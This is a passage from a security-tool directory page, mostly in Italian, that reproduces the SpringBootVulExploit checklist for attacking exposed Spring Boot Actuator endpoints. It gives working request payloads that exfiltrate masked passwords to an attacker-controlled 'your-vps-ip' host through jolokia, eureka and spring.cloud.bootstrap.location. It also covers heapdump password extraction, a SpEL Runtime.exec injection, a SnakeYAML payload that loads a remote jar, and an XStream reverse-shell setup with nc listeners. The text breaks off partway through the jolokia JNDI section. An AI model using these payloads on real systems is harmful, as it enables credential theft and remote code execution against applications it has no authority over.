Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
SpringBootVulExploit — Materiali di studio sulle vulnerabilità di SpringBoot, raccolta di metodi e tecniche di sfruttamento, check list per valutazione di sicurezza black-box | Kitploit
Strumenti/GitHubGitHub/landgrey/springbootvulexploit
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration TestingApprendimento e Formazione
GitHublandgrey/springbootvulexploit

SpringBootVulExploit

Materiali di studio sulle vulnerabilità di SpringBoot, raccolta di metodi e tecniche di sfruttamento, check list per valutazione di sicurezza black-box

Vedi Repository
6.1k1.3k85 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Spring Boot Vulnerability Exploit Check List

Raccolta di materiali di apprendimento sulle vulnerabilità correlate a Spring Boot, tecniche e trucchi di sfruttamento, check list per valutazione di sicurezza black-box

Dichiarazione

⚠️ Tutti i contenuti di questo progetto sono destinati esclusivamente a scopi di ricerca sulla sicurezza e test autorizzati. I responsabili non si assumono alcuna responsabilità per danni derivanti da un uso improprio o abuso di questo progetto

Indice

  • Spring Boot Vulnerability Exploit Check List
    • Zero: Route e Versioni
      • 0x01: Conoscenze sulle Route
      • 0x02: Conoscenze sulle Versioni
        • Dipendenze reciproche tra versioni dei componenti:
        • Relazioni di dipendenza tra Spring Cloud e Spring Boot:
        • Suffissi e significati dei numeri di versione minori di Spring Cloud:
    • Uno: Perdita di Informazioni
      • 0x01: Perdita di dettagli su route di indirizzi e invocazioni di interfacce
      • 0x02: Route esposte a causa di configurazione inadequata
  • 0x03: Ottenere il testo in chiaro di password mascherate con asterischi (Metodo 1)
    • Condizioni di sfruttamento:
    • Metodo di sfruttamento:
      • Passo 1: Trovare il nome della proprietà desiderata
      • Passo 2: Usare jolokia per chiamare il Mbean correlato per ottenere il testo in chiaro
  • 0x04: Ottenere il testo in chiaro di password mascherate con asterischi (Metodo 2)
    • Condizioni di sfruttamento:
    • Metodo di sfruttamento:
      • Passo 1: Trovare il nome della proprietà desiderata
      • Passo 2: Usare nc per ascoltare richieste HTTP
      • Passo 3: Impostare la proprietà eureka.client.serviceUrl.defaultZone
      • Passo 4: Aggiornare la configurazione
      • Passo 5: Decodificare il valore della proprietà
  • 0x05: Ottenere il testo in chiaro di password mascherate con asterischi (Metodo 3)
    • Condizioni di sfruttamento:
    • Metodo di sfruttamento:
      • Passo 1: Trovare il nome della proprietà desiderata
      • Passo 2: Usare nc per ascoltare richieste HTTP
      • Passo 3: Attivare una richiesta HTTP esterna
      • Passo 4: Aggiornare la configurazione
  • 0x06: Ottenere il testo in chiaro di password mascherate con asterischi (Metodo 4)
    • Condizioni di sfruttamento:
    • Metodo di sfruttamento:
      • Passo 1: Trovare il nome della proprietà desiderata
      • Passo 2: Scaricare le informazioni sull'heap JVM
      • Passo 3: Usare MAT per ottenere il testo in chiaro delle password nell'heap JVM
  • Due: Esecuzione di Codice Remoto
    • 0x01: whitelabel error page SpEL RCE
      • Condizioni di sfruttamento:
      • Metodo di sfruttamento:
        • Passo 1: Trovare un punto di passaggio normale dei parametri
        • Passo 2: Eseguire un'espressione SpEL
      • Principio della vulnerabilità:
      • Analisi della vulnerabilità:
      • Ambiente della vulnerabilità:
    • 0x02: spring cloud SnakeYAML RCE
      • Condizioni di sfruttamento:
      • Metodo di sfruttamento:
        • Passo 1: Ospitare file yml e jar
        • Passo 2: Impostare la proprietà spring.cloud.bootstrap.location
        • Passo 3: Aggiornare la configurazione
      • Principio della vulnerabilità:
      • Analisi della vulnerabilità:
      • Ambiente della vulnerabilità:
    • 0x03: eureka xstream deserialization RCE
      • Condizioni di sfruttamento:
      • Metodo di sfruttamento:
        • Passo 1: Allestire un sito che risponde con payload XStream malevolo
        • Passo 2: Ascoltare sulla porta per la reverse shell
        • Passo 3: Impostare la proprietà eureka.client.serviceUrl.defaultZone
        • Passo 4: Aggiornare la configurazione
      • Principio della vulnerabilità:
      • Analisi della vulnerabilità:
      • Ambiente della vulnerabilità:
    • 0x04: jolokia logback JNDI RCE
      • Condizioni di sfruttamento:
      • Metodo di sfruttamento:
        • Passo 1: Controllare i MBeans esistenti
        • Passo 2: Ospitare il file xml
        • Passo 3: Preparare il codice Java da eseguire
        • Passo 4: Allestire un servizio ldap malevolo
        • Passo 5: Ascoltare sulla porta per la reverse shell
        • Passo 6: Caricare il file di configurazione del logging da un URL esterno
      • Principio della vulnerabilità:
      • Analisi della vulnerabilità:
      • Ambiente della vulnerabilità:
    • 0x05: jolokia Realm JNDI RCE
      • Condizioni di sfruttamento:
      • Metodo di sfruttamento:
        • Passo 1: Controllare i MBeans esistenti
        • Passo 2: Preparare il codice Java da eseguire
        • Passo 3: Ospitare il file class
        • Passo 4: Allestire un servizio rmi malevolo
        • Passo 5: Ascoltare sulla porta per la reverse shell
        • Passo 6: Inviare il payload malevolo
      • Principio della vulnerabilità:
      • Analisi della vulnerabilità:
      • Ambiente della vulnerabilità:
    • 0x06: restart h2 database query RCE
      • Condizioni di sfruttamento:
      • Metodo di sfruttamento:
        • Passo 1: Impostare la proprietà spring.datasource.hikari.connection-test-query
        • Passo 2: Riavviare l'applicazione
      • Principio della vulnerabilità:
      • Analisi della vulnerabilità:
      • Ambiente della vulnerabilità:
    • 0x07: h2 database console JNDI RCE
      • Condizioni di sfruttamento:
      • Metodo di sfruttamento:
        • Passo 1: Accedere alla route per ottenere jsessionid
        • Passo 2: Preparare il codice Java da eseguire
        • Passo 3: Ospitare il file class
        • Passo 4: Allestire un servizio ldap malevolo
        • Passo 5: Ascoltare sulla porta per la reverse shell
        • Passo 6: Inviare il pacchetto per attivare l'iniezione JNDI
      • Analisi della vulnerabilità:
      • Ambiente della vulnerabilità:
    • 0x08: mysql jdbc deserialization RCE
      • Condizioni di sfruttamento:
      • Metodo di sfruttamento:
        • Passo 1: Controllare le dipendenze dell'ambiente
        • Passo 2: Allestire un server rogue mysql malevolo
        • Passo 3: Impostare la proprietà spring.datasource.url
        • Passo 4: Aggiornare la configurazione
        • Passo 5: Attivare una query sul database
        • Passo 6: Ripristinare l'url jdbc normale
      • Principio della vulnerabilità:
      • Analisi della vulnerabilità:
      • Ambiente della vulnerabilità:
    • 0x09: restart logging.config logback JNDI RCE
      • Condizioni di sfruttamento:
      • Metodo di sfruttamento:
        • Passo 1: Ospitare il file xml
        • Passo 2: Ospitare servizio ldap malevolo e codice
        • Passo 3: Impostare la proprietà logging.config
        • Passo 4: Riavviare l'applicazione
      • Principio della vulnerabilità:
      • Analisi della vulnerabilità:
      • Ambiente della vulnerabilità:
    • 0x0A: restart logging.config groovy RCE
      • Condizioni di sfruttamento:
      • Metodo di sfruttamento:
        • Passo 1: Ospitare il file groovy
        • Passo 2: Impostare la proprietà logging.config
        • Passo 3: Riavviare l'applicazione
      • Principio della vulnerabilità:
      • Ambiente della vulnerabilità:
    • 0x0B: restart spring.main.sources groovy RCE
      • Condizioni di sfruttamento:
      • Metodo di sfruttamento:
        • Passo 1: Ospitare il file groovy
        • Passo 2: Impostare la proprietà spring.main.sources
        • Passo 3: Riavviare l'applicazione
      • Principio della vulnerabilità:
      • Ambiente della vulnerabilità:
    • 0x0C: restart spring.datasource.data h2 database RCE
      • Condizioni di sfruttamento:
      • Metodo di sfruttamento:
        • Passo 1: Ospitare il file sql
        • Passo 2: Impostare la proprietà spring.datasource.data
        • Passo 3: Riavviare l'applicazione
      • Principio della vulnerabilità:
      • Ambiente della vulnerabilità:
  • Zero: Route e Versioni

    0x01: Conoscenze sulle Route

    • Alcuni programmatori personalizzano /manage, /management o nomi correlati all'app del progetto come percorso radice di Spring
    • Spring Boot Actuator 1.x ha il percorso iniziale predefinito per le route incorporate come /, mentre la versione 2.x usa uniformemente /actuator come percorso iniziale
    • I nomi delle route incorporate predefinite di Spring Boot Actuator, come /env, a volte vengono modificati dai programmatori, ad esempio in /appenv

    0x02: Conoscenze sulle Versioni

    Spring Cloud è una serie di framework costruita su Spring Boot per sviluppare servizi e fornisce funzionalità comuni come configurazione gestita, registrazione e scoperta di servizi, routing intelligente, aiutando lo sviluppo rapido di sistemi distribuiti.

    Dipendenze reciproche tra versioni dei componenti:

    DipendenzaElenco versioni e versioni dei componenti dipendenti
    spring-boot-starter-parentspring-boot-starter-parent
    spring-boot-dependenciesspring-boot-dependencies
    spring-cloud-dependenciesspring-cloud-dependencies

    Relazioni di dipendenza tra Spring Cloud e Spring Boot:

    Versione maggiore di Spring CloudVersione di Spring Boot
    AngelCompatibile con Spring Boot 1.2.x
    BrixtonCompatibile con Spring Boot 1.3.x, 1.4.x
    CamdenCompatibile con Spring Boot 1.4.x, 1.5.x
    DalstonCompatibile con Spring Boot 1.5.x, non compatibile con 2.0.x
    EdgwareCompatibile con Spring Boot 1.5.x, non compatibile con 2.0.x
    FinchleyCompatibile con Spring Boot 2.0.x, non compatibile con 1.5.x
    GreenwichCompatibile con Spring Boot 2.1.x
    HoxtonCompatibile con Spring Boot 2.2.x

    Suffissi e significati dei numeri di versione minori di Spring Cloud:

    Suffisso versione minoreSignificato
    BUILD-SNAPSHOTVersione snapshot, codice non fisso, in evoluzione
    MXVersione milestone
    RCXVersione candidata al rilascio
    RELEASEVersione di rilascio ufficiale
    SRXVersione di rilascio ufficiale (con correzioni di bug e bug fix)

    Uno: Perdita di Informazioni

    0x01: Perdita di dettagli su route di indirizzi e invocazioni di interfacce

    Gli sviluppatori non si rendono conto che la divulgazione degli indirizzi può causare rischi per la sicurezza, oppure quando l'ambiente di sviluppo viene cambiato in ambiente di produzione online, i responsabili non modificano i file di configurazione, dimenticano di cambiare la configurazione dell'ambiente, ecc.

    Accedere direttamente alle due seguenti route correlate a swagger per verificare se la vulnerabilità esiste:``` /v2/api-docs /swagger-ui.html

    root@kitploit:~
    Alcune altre route di interfaccia relative a swagger, swagger codegen, swagger-dubbo che potresti incontrare:```
    /swagger
    /api-docs
    /api.html
    /swagger-ui
    /swagger/codes
    /api/index.html
    /api/v2/api-docs
    /v2/swagger.json
    /swagger-ui/html
    /distv2/index.html
    /swagger/index.html
    /sw/swagger-ui.html
    /api/swagger-ui.html
    /static/swagger.json
    /user/swagger-ui.html
    /swagger-ui/index.html
    /swagger-dubbo/api-docs
    /template/swagger-ui.html
    /swagger/static/index.html
    /dubbo-provider/distv2/index.html
    /spring-security-rest/api/swagger-ui.html
    /spring-security-oauth-resource/swagger-ui.html
    

    Inoltre, le seguenti rotte correlate a Spring Boot Actuator talvolta includono (o consentono di dedurre) alcune informazioni sugli indirizzi degli endpoint, ma non è possibile ottenere informazioni sui parametri:``` /mappings /metrics /beans /configprops /actuator/metrics /actuator/mappings /actuator/beans /actuator/configprops

    root@kitploit:~
    **Generalmente, esporre le interfacce e le informazioni sui parametri di un'applicazione Spring Boot non può essere considerato una vulnerabilità**, ma dal punto di vista della "**sicurezza predefinita**", non esporre queste informazioni è più sicuro.
    
    Per un attaccante, di solito esaminano attentamente le interfacce esposte per aumentare la conoscenza del sistema aziendale, e allo stesso tempo controllano se il sistema applicativo presenta vulnerabilità come accesso non autorizzato, superamento dei privilegi e altri tipi di vulnerabilità aziendali.
    
    
    
    ### 0x02: Route esposte a causa di una configurazione inadeguata
    
    > Principalmente perché i programmatori durante lo sviluppo non si rendono conto che esporre le route può comportare rischi per la sicurezza, oppure non seguono il processo standard di sviluppo, dimenticando di modificare/cambiare la configurazione dell'ambiente di produzione prima del rilascio
    
    
    
    Fare riferimento a [production-ready-endpoints](https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints) e [spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt), le route interne predefinite che potrebbero essere esposte a causa di una configurazione inadeguata includono:```
    /actuator
    /auditevents
    /autoconfig
    /beans
    /caches
    /conditions
    /configprops
    /docs
    /dump
    /env
    /flyway
    /health
    /heapdump
    /httptrace
    /info
    /intergrationgraph
    /jolokia
    /logfile
    /loggers
    /liquibase
    /metrics
    /mappings
    /prometheus
    /refresh
    /scheduledtasks
    /sessions
    /shutdown
    /trace
    /threaddump
    /actuator/auditevents
    /actuator/beans
    /actuator/health
    /actuator/conditions
    /actuator/configprops
    /actuator/env
    /actuator/info
    /actuator/loggers
    /actuator/heapdump
    /actuator/threaddump
    /actuator/metrics
    /actuator/scheduledtasks
    /actuator/httptrace
    /actuator/mappings
    /actuator/jolokia
    /actuator/hystrix.stream
    

    Tra le interfacce più importanti per la ricerca di vulnerabilità ci sono:

    • /env、/actuator/env

      Una richiesta GET a /env può direttamente divulgare variabili d'ambiente, indirizzi di rete interna, nomi utente dalla configurazione, ecc.; quando i nomi delle proprietà non sono standardizzati (ad esempio password scritte come psasword, pwd), possono essere esposte in chiaro.

      Inoltre, con una certa probabilità, è possibile impostare alcune proprietà tramite una richiesta POST a /env, innescando indirettamente vulnerabilità RCE correlate; allo stesso tempo, è possibile ottenere in chiaro password, chiavi e altre informazioni sensibili mascherate con asterischi.

    • /refresh、/actuator/refresh

      Dopo aver impostato le proprietà tramite una richiesta POST a /env, è possibile combinarla con una richiesta POST a /refresh per aggiornare le variabili delle proprietà e innescare vulnerabilità RCE correlate.

    • /restart、/actuator/restart

      Questo endpoint è esposto meno frequentemente; può essere combinato con una richiesta POST a /env per impostare proprietà, seguita da un POST a /restart per riavviare l'applicazione e innescare vulnerabilità RCE.

    • /jolokia、/actuator/jolokia

      È possibile utilizzare l'endpoint /jolokia/list per trovare MBean sfruttabili, innescare indirettamente vulnerabilità RCE, ottenere in chiaro informazioni sensibili mascherate con asterischi, ecc.

    • /trace、/actuator/httptrace

      Informazioni di tracciamento delle richieste HTTP; in esse potrebbero essere scoperti dettagli sulle richieste di applicazioni interne, nonché cookie di utenti o amministratori validi, token JWT, ecc.

    0x03: Ottenere il testo in chiaro delle password mascherate con asterischi (Metodo 1)

    Quando si accede all'endpoint /env, Spring Actuator sostituisce i valori delle proprietà i cui nomi contengono parole chiave sensibili (come password, secret) con asterischi (*) per mascherare i dati.

    Condizioni di sfruttamento:

    • L'applicazione target espone l'endpoint /jolokia o /actuator/jolokia
    • L'applicazione utilizza la dipendenza jolokia-core (requisiti di versione attualmente sconosciuti)

    Metodo di sfruttamento:

    Passo 1: Trovare il nome della proprietà da ottenere

    Eseguire una richiesta GET all'endpoint /env o /actuator/env del sito target, cercare la parola chiave ****** e trovare il nome della proprietà corrispondente al valore mascherato con asterischi che si desidera ottenere.

    Passo 2: Invocare il MBean pertinente tramite jolokia per ottenere il testo in chiaro

    Sostituire security.user.password nell'esempio seguente con il nome effettivo della proprietà da ottenere e inviare direttamente la richiesta; il valore in chiaro sarà contenuto nella chiave value della risposta.

    • Invocare il MBean org.springframework.boot

    In realtà invoca il metodo getProperty dell'istanza della classe org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar

    spring 1.x``` POST /jolokia Content-Type: application/json

    {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

    root@kitploit:~
    spring 2.x```
    POST /actuator/jolokia
    Content-Type: application/json
    
    {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
    
    • Chiama il Mbean org.springframework.cloud.context.environment

    In realtà è una chiamata al metodo getProperty dell'istanza della classe org.springframework.cloud.context.environment.EnvironmentManager

    spring 1.x``` POST /jolokia Content-Type: application/json

    {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

    root@kitploit:~
    spring 2.x```
    POST /actuator/jolokia
    Content-Type: application/json
    
    {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
    
    • Chiamare altri Mbean

    La situazione specifica del target e gli Mbean esistenti potrebbero differire; è possibile cercare parole chiave come getProperty per trovare metodi richiamabili.

    0x04: Ottenere il testo in chiaro della password mascherata da asterischi (Metodo 2)

    Condizioni di sfruttamento:

    • Possibilità di effettuare richieste GET a /env del sito target
    • Possibilità di effettuare richieste POST a /env del sito target
    • Possibilità di effettuare richieste POST all'endpoint /refresh del sito target per aggiornare la configurazione (è presente la dipendenza spring-boot-starter-actuator)
    • Il target utilizza la dipendenza spring-cloud-starter-netflix-eureka-client
    • Il target può effettuare richieste al server dell'attaccante (le richieste possono uscire verso la rete esterna)

    Metodo di sfruttamento:

    Passo 1: Individuare il nome della proprietà desiderata

    Effettuare una richiesta GET all'endpoint /env o /actuator/env del sito target, cercare la parola chiave ****** e trovare il nome della proprietà corrispondente al valore mascherato dall'asterisco *.

    Passo 2: Utilizzare nc per ascoltare le richieste HTTP

    Sul server esterno controllato, mettersi in ascolto sulla porta 80:```bash nc -lvk 80

    root@kitploit:~
    ##### Passo 3: Impostare la proprietà eureka.client.serviceUrl.defaultZone
    
    Sostituire `security.user.password` nel seguente `http://value:${security.user.password}@your-vps-ip` con il nome della proprietà corrispondente mascherata da asterisco * che si desidera ottenere;
    
    `your-vps-ip` sostituire con l'indirizzo IP reale del proprio server esterno.
    
    
    
    spring 1.x```
    POST /env
    Content-Type: application/x-www-form-urlencoded
    
    eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
    

    spring 2.x``` POST /actuator/env Content-Type: application/json

    {"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

    root@kitploit:~
    ##### Passo quattro: Aggiorna la configurazione
    
    spring 1.x```
    POST /refresh
    Content-Type: application/x-www-form-urlencoded
    
    

    spring 2.x``` POST /actuator/refresh Content-Type: application/json

    root@kitploit:~
    ##### Passo 5: Decodifica dei valori degli attributi
    
    Normalmente, a questo punto il server in ascolto di nc riceverà la richiesta proveniente dal target, contenente un campo `Authorization` simile al seguente:```
    Authorization: Basic dmFsdWU6MTIzNDU2
    

    Decodificando in base64 la parte dmFsdWU6MTIzNDU2 si ottiene un valore in chiaro simile a value:123456, dove 123456 è il valore dell'attributo in chiaro prima della mascheratura con asterisco *.

    0x05: Ottenere il testo in chiaro della password mascherata con asterisco (Metodo 3)

    Condizioni di sfruttamento:

    • Impostare una proprietà tramite POST /env per indurre il target a effettuare una richiesta HTTP arbitraria verso un indirizzo specificato in Internet.
    • Il target deve essere in grado di effettuare richieste verso il server dell'attaccante (la richiesta deve poter uscire sulla rete esterna).

    Metodo di sfruttamento:

    Fare riferimento all'issue-1 proposta da UUUUnotfound. Durante il processo in cui il target effettua una richiesta HTTP esterna, è possibile utilizzare segnaposto nel percorso URL per estrarre dati.

    Passo 1: Trovare il nome dell'attributo desiderato

    Effettuare una richiesta GET all'interfaccia /env o /actuator/env del target, cercare la parola chiave ****** e trovare il nome dell'attributo corrispondente al valore mascherato con asterisco * che si desidera ottenere.

    Passo 2: Usare nc per ascoltare le richieste HTTP

    Sul server esterno che controlli, mettiti in ascolto sulla porta 80:```bash nc -lvk 80

    root@kitploit:~
    ##### Passo tre: attivare richiesta http esterna
    
    - `spring.cloud.bootstrap.location` metodo (**applicabile anche a** casi in cui i dati in chiaro contengono caratteri URL speciali)
    
    spring 1.x```
    POST /env
    Content-Type: application/x-www-form-urlencoded
    
    spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
    

    spring 2.x``` POST /actuator/env Content-Type: application/json

    {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}

    root@kitploit:~
    - `eureka.client.serviceUrl.defaultZone` (**non applicabile** per casi in cui i dati in chiaro contengono caratteri url speciali)
    
    spring 1.x```
    POST /env
    Content-Type: application/x-www-form-urlencoded
    
    eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
    

    spring 2.x``` POST /actuator/env Content-Type: application/json

    {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}

    root@kitploit:~
    ##### Passo 4: Aggiornamento della configurazione
    
    spring 1.x```
    POST /refresh
    Content-Type: application/x-www-form-urlencoded
    
    

    spring 2.x``` POST /actuator/refresh Content-Type: application/json

    root@kitploit:~
    ### 0x06: Ottenere il testo in chiaro delle password oscurate con asterischi (Metodo 4)
    
    > Quando si accede all'endpoint /env, Spring Actuator sostituisce con asterischi (*) i valori delle proprietà i cui nomi contengono parole chiave sensibili (come password, secret) per oscurarli.
    
    #### Condizioni di sfruttamento:
    
    - Possibilità di effettuare una richiesta GET al target sugli endpoint `/heapdump` o `/actuator/heapdump`
    
    #### Metodo di sfruttamento:
    
    ##### Passo 1: Trovare il nome della proprietà desiderata
    
    Effettuare una richiesta GET al target sugli endpoint `/env` o `/actuator/env`, cercare la parola chiave `******` e trovare il nome della proprietà corrispondente al valore oscurato con asterischi che si desidera ottenere.
    
    ##### Passo 2: Scaricare le informazioni heap della JVM
    
    > La dimensione del file heapdump scaricato è tipicamente compresa tra 50 MB e 500 MB, ma talvolta può superare i 2 GB.
    
    Effettuare una richiesta `GET` al target sugli endpoint `/heapdump` o `/actuator/heapdump` per scaricare le informazioni in tempo reale dello heap JVM dell'applicazione.
    
    ##### Passo 3: Ottenere la password in chiaro dallo heap JVM utilizzando MAT
    
    Fare riferimento al metodo descritto nell'[articolo](https://landgrey.me/blog/16/), utilizzando l'istruzione **OQL** dello strumento [Eclipse Memory Analyzer](https://www.eclipse.org/mat/downloads.php)```
    select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
    
    或
    
    select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
    

    辅助用 "password" 等关键词快速过滤分析,获得密码等相关敏感信息的明文。

    二:远程代码执行

    由于 spring boot 相关漏洞可能是多个组件漏洞组合导致的,所以有些漏洞名字起的不太正规,以能区分为准

    0x01:whitelabel error page SpEL RCE

    Condizioni per lo sfruttamento:

    • Spring Boot 1.1.0-1.1.12, 1.2.0-1.2.7, 1.3.0
    • Conoscere almeno un endpoint e il nome del parametro che attivano la pagina di errore predefinita di Spring Boot

    Metodo di sfruttamento:

    Passo 1: Trovare un punto di passaggio di parametri normale

    Ad esempio, se si scopre che accedendo a /article?id=xxx , la pagina restituisce un errore con codice di stato 500: Whitelabel Error Page, allora tutti i payload successivi verranno provati sul parametro id.

    Passo 2: Eseguire un'espressione SpEL

    Inserire /article?id=${7*7} . Se la pagina di errore mostra il valore di 7*7, cioè 49, calcolato e visualizzato nella pagina di errore, allora si può confermare che il target ha una vulnerabilità di injection di espressioni SpEL.

    Convertire il formato stringa in byte java 0x** per eseguire codice arbitrario:```python

    coding: utf-8

    result = "" target = 'open -a Calculator' for x in target: result += hex(ord(x)) + "," print(result.rstrip(','))

    root@kitploit:~
    Esegui il comando `open -a Calculator````java
    ${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
    

    Principio della vulnerabilità:

    1. Quando Spring Boot gestisce i valori dei parametri e si verifica un errore, il flusso entra nella classe org.springframework.util.PropertyPlaceholderHelper
    2. A questo punto, i valori dei parametri nell'URL vengono analizzati ricorsivamente con il metodo parseStringValue
    3. Il contenuto racchiuso da ${} viene interpretato ed eseguito come espressione SpEL dal metodo resolvePlaceholder della classe org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration, provocando una vulnerabilità RCE

    Analisi della vulnerabilità:

    ​ SpringBoot SpEL表达式注入漏洞-分析与复现

    Ambiente della vulnerabilità:

    repository/springboot-spel-rce

    Accesso normale:``` http://127.0.0.1:9091/article?id=66

    root@kitploit:~
    Esegui il comando `open -a Calculator`:```java
    http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
    

    0x02:spring cloud SnakeYAML RCE

    Condizioni di sfruttamento:

    • Possibilità di inviare richieste POST all'endpoint /env del sito target per impostare proprietà
    • Possibilità di inviare richieste POST all'endpoint /refresh del sito target per aggiornare la configurazione (presenza della dipendenza spring-boot-starter-actuator)
    • Versione della dipendenza spring-cloud-starter del target < 1.3.0.RELEASE
    • Il target può effettuare richieste verso il server HTTP dell'attaccante (le richieste possono raggiungere la rete esterna)

    Metodo di sfruttamento:

    Passo 1: Ospitare i file yml e jar

    Sulla macchina VPS sotto il proprio controllo, avviare un semplice server HTTP, utilizzando preferibilmente porte comuni per servizi HTTP (80, 443)```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    Nel root del sito web posizionare il file con estensione `yml` `example.yml`, il cui contenuto è il seguente:```yaml
    !!javax.script.ScriptEngineManager [
      !!java.net.URLClassLoader [[
        !!java.net.URL ["http://your-vps-ip/example.jar"]
      ]]
    ]
    

    Nella directory radice del sito, posiziona un file con estensione jar chiamato example.jar, il cui contenuto è il codice da eseguire. Per la scrittura e la compilazione del codice, fare riferimento a yaml-payload.

    Passo 2: Impostare la proprietà spring.cloud.bootstrap.location

    spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

    spring.cloud.bootstrap.location=http://your-vps-ip/example.yml

    root@kitploit:~
    Spring 2.x```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
    
    Passo 3: Aggiorna la configurazione

    spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/refresh
    Content-Type: application/json
    
    

    Principio della vulnerabilità:

    1. La proprietà spring.cloud.bootstrap.location viene impostata sull'URL di un file yml malevolo esterno
    2. Il refresh attiva la richiesta da parte della macchina target del file yml sul server HTTP remoto, ottenendone il contenuto
    3. A causa di una vulnerabilità di deserializzazione in SnakeYAML, l'analisi del contenuto yml malevolo esegue le azioni specificate
    4. Prima viene attivato java.net.URL per scaricare il file jar malevolo dal server HTTP remoto
    5. Quindi viene cercata la classe nel file jar che implementa l'interfaccia javax.script.ScriptEngineFactory e istanziata
    6. Durante l'istanziazione della classe viene eseguito codice malevolo, causando una vulnerabilità RCE

    Analisi della vulnerabilità:

    Note di apprendimento su Exploit Spring Boot Actuator e Spring Cloud Env

    Ambiente della vulnerabilità:

    repository/springcloud-snakeyaml-rce

    Accesso normale:``` http://127.0.0.1:9092/env

    root@kitploit:~
    ### 0x03:eureka xstream deserialization RCE
    
    #### Condizioni di sfruttamento:
    
    - Può inviare una richiesta POST all'endpoint `/env` del sito target per impostare proprietà
    - Può inviare una richiesta POST all'endpoint `/refresh` del sito target per aggiornare la configurazione (con dipendenza `spring-boot-starter-actuator`)
    - Il `eureka-client` utilizzato dal target è < 1.8.7 (solitamente incluso nella dipendenza `spring-cloud-starter-netflix-eureka-client`)
    - Il target può effettuare richieste al server HTTP dell'attaccante (le richieste possono uscire verso la rete esterna)
    
    #### Metodo di sfruttamento:
    
    ##### Passo 1: Allestire un sito web che risponde con un payload XStream malevolo
    
    Fornire un [esempio di script Python](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py) che dipende da Flask e soddisfa i requisiti, il cui scopo è utilizzare il Python presente sulla macchina Linux target per ottenere una reverse shell.
    
    Eseguire lo script sopra nel proprio server controllato usando Python, e modificare l'indirizzo IP e la porta della reverse shell nello script in base alla situazione reale.
    
    ##### Passo 2: Ascoltare la porta per la reverse shell
    
    Generalmente si usa netcat (nc) per ascoltare una porta, in attesa della reverse shell.```bash
    nc -lvp 443
    
    Passo tre: Imposta la proprietà eureka.client.serviceUrl.defaultZone

    spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

    eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example

    root@kitploit:~
    spring 2.x```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
    
    Passo 4: Aggiornare la configurazione

    spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/refresh
    Content-Type: application/json
    
    

    Principio della vulnerabilità:

    1. La proprietà eureka.client.serviceUrl.defaultZone viene impostata su un URL malevolo di un server eureka esterno.
    2. Il refresh fa sì che la macchina target richieda l'URL remoto; il fake eureka server appositamente predisposto restituirà un payload malevolo.
    3. Le dipendenze correlate della macchina target analizzano il payload, innescando la deserializzazione XStream, causando una vulnerabilità RCE.

    Analisi della vulnerabilità:

    Spring Boot Actuator: da accesso non autorizzato a gettare una shell

    Ambiente per la vulnerabilità:

    repository/springboot-eureka-xstream-rce

    Accesso normale:``` http://127.0.0.1:9093/env

    root@kitploit:~
    ### 0x04:jolokia logback JNDI RCE
    
    #### Condizioni di sfruttamento:
    
    - Il sito di destinazione ha un endpoint `/jolokia` o `/actuator/jolokia`
    - La destinazione utilizza la dipendenza `jolokia-core` (requisito di versione ancora sconosciuto) e nell'ambiente sono presenti MBean correlati
